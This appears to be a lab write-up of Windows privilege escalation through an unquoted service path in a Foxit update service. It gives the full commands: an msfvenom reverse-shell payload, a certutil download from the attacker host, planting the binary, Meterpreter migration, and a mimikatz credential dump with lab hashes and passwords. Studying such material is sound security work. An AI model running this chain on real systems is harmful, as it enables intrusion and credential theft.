Privilege escalation via unquoted service path

Manually

Running invoke-allchecks via powerup, I know that FoxitCloudUpdateService is vulnerable to unquoted service path vulnerability.

```
https://steflan-security.com/windows-privilege-escalation-unquoted-service-paths/
```

```
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!


[*] Checking for unquoted service paths...


ServiceName    : FoxitCloudUpdateService
Path           : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
ModifiablePath : @{Permissions=AppendData/AddSubdirectory; ModifiablePath=C:\;
IdentityReference=NT AUTHORITY\Authentic
                 ated Users}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'FoxitCloudUpdateService' -Path <HijackPath>
CanRestart     : True

ServiceName    : FoxitCloudUpdateService
Path           : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT
AUTHORITY\Authenticated Users}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'FoxitCloudUpdateService' -Path <HijackPath>
CanRestart     : True

ServiceName    : FoxitCloudUpdateService
Path           : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
ModifiablePath : @{Permissions=GenericAll; ModifiablePath=C:\;
IdentityReference=BUILTIN\Administrators}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'FoxitCloudUpdateService' -Path <HijackPath>
CanRestart     : True

ServiceName    : FoxitCloudUpdateService
Path           : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\;
IdentityReference=BUILTIN\Administrators}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'FoxitCloudUpdateService' -Path <HijackPath>
CanRestart     : True
```

I check the access permissions, it seems to me that the foxit software directory has modify privileges for users. It means that ordinary users are able to create, write and delete file on the said directory.

```
icacls 'foxit software'
foxit software BUILTIN\Users:(OI)(CI)(M)
               NT SERVICE\TrustedInstaller:(I)(F)
               NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
               NT AUTHORITY\SYSTEM:(I)(F)
               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
               BUILTIN\Administrators:(I)(F)
               BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
               BUILTIN\Users:(I)(RX)
               BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
               CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\program files>
```

Here is the permissions list for ACLS.

```
https://ss64.com/nt/icacls.html
```

```
permission is a permission mask and can be specified in one of two forms:
        a sequence of simple rights:
                D - Delete access
                F - Full access (Edit_Permissions+Create+Delete+Read+Write)
                N - No access
                M - Modify access (Create+Delete+Read+Write)
                RX - Read and eXecute access
                R - Read-only access
                W - Write-only access
        a comma-separated list in parentheses of specific rights:
                DE - Delete
                RC - read control
                WDAC - write DAC
                WO - write owner
                S - synchronize
                AS - access system security
                MA - maximum allowed
                GR - generic read
                GW - generic write
                GE - generic execute
                GA - generic all
                RD - read data/list directory
                WD - write data/add file
                AD - append data/add subdirectory
                REA - read extended attributes
                WEA - write extended attributes
                X - execute/traverse
                DC - delete child
                RA - read attributes
                WA - write attributes
        inheritance rights can precede either form and are applied
        only to directories:
                (OI) - object inherit
                (CI) - container inherit
                (IO) - inherit only
                (NP) - don't propagate inherit
                (I)  - Permission inherited from parent container
```

I created a payload that will automatically migrate to spoolsv.exe, however it fails for unknown reason. So I will need to migrate to other NT AUTHORITY\SYSTEM process manually.

```
┌─[user@parrot]─[~/Desktop]
└──╼ $msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.128 LPORT=21
prependmigrateprocess=spoolsv.exe prependmigrate=true -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 630 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
┌─[user@parrot]─[~/Desktop]
└──╼ $
```

I downloaded the root.exe file to the foxit directory on C:\Program Files\Foxit Software\.

```
PS > cmd.exe /c "certutil.exe -urlcache -f http://192.168.234.128/root.exe root.exe"
****  Online  ****
CertUtil: -URLCache command completed successfully.
```

Then I renamed the file to foxit.exe.

```
C:\Program Files\Foxit Software>dir
dir
 Volume in drive C is Windows 7
```

```
 Volume Serial Number is D055-099C

 Directory of C:\Program Files\Foxit Software

10/22/2021  06:41 AM    <DIR>          .
10/22/2021  06:41 AM    <DIR>          ..
10/22/2021  03:21 AM    <DIR>          Foxit Reader
10/22/2021  06:22 AM            73,802 Foxit.exe
               1 File(s)         73,802 bytes
               3 Dir(s)  28,177,637,376 bytes free

C:\Program Files\Foxit Software>
```

I stop the foxit update service.

```
C:\Program Files\Foxit Software>sc stop FoxitCloudUpdateService
```

And I start the foxit update service.

```
C:\Program Files\Foxit Software>sc start FoxitCloudUpdateService
sc start FoxitCloudUpdateService
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.


C:\Program Files\Foxit Software>
```

Observe that I now have a shell.

```
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.234.128:21
[*] Sending stage (175174 bytes) to 192.168.234.132
[*] Meterpreter session 5 opened (192.168.234.128:21 -> 192.168.234.132:49178) at 2021-10-22
21:45:54 +0800

meterpreter > ps
```

I will have to migrate this service to conhost.exe running as nt authority\system.

```
4908  340   conhost.exe       x86   0        NT AUTHORITY\SYSTEM
C:\Windows\system32\conhost.
                                                                    exe
```

Observe the completed migration.

```
meterpreter > migrate 4908
[*] Migrating from 3348 to 4908...
[*] Migration completed successfully.
meterpreter >
```

So even if the service fails to start, my meterpreter session will still be intact.

```
C:\Program Files\Foxit Software>sc start FoxitCloudUpdateService
sc start FoxitCloudUpdateService
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.


C:\Program Files\Foxit Software>
```

Post exploitation

```
Note the plaintext creds gathered as well as the ntlm hashes
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x86/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain   NTLM                              SHA1
--------       ------   ----                              ----
Administrator  IE8WIN7  8fd5d202cb67fb13f2ad846e67fbaca7
d0e111abd6ac40ad2ae055cfd3c0c4ce88cca2a4
Escalate       IE8WIN7  9be760e8dbbe3be65210225ac1570c9f
357434484751ba5ebe0efe7f1bfd26d693185794
low_priv       IE8WIN7  2259bad7b189e18faaed05671cf72330
99ea225fe3b7f653345c0cb930c36768b312672e

wdigest credentials
===================

Username       Domain     Password
--------       ------     --------
(null)         (null)     (null)
Administrator  IE8WIN7    Esc@l@te
Escalate       IE8WIN7    Windows
IE8WIN7$       WORKGROUP  (null)
low_priv       IE8WIN7    s3rvice@ccount
```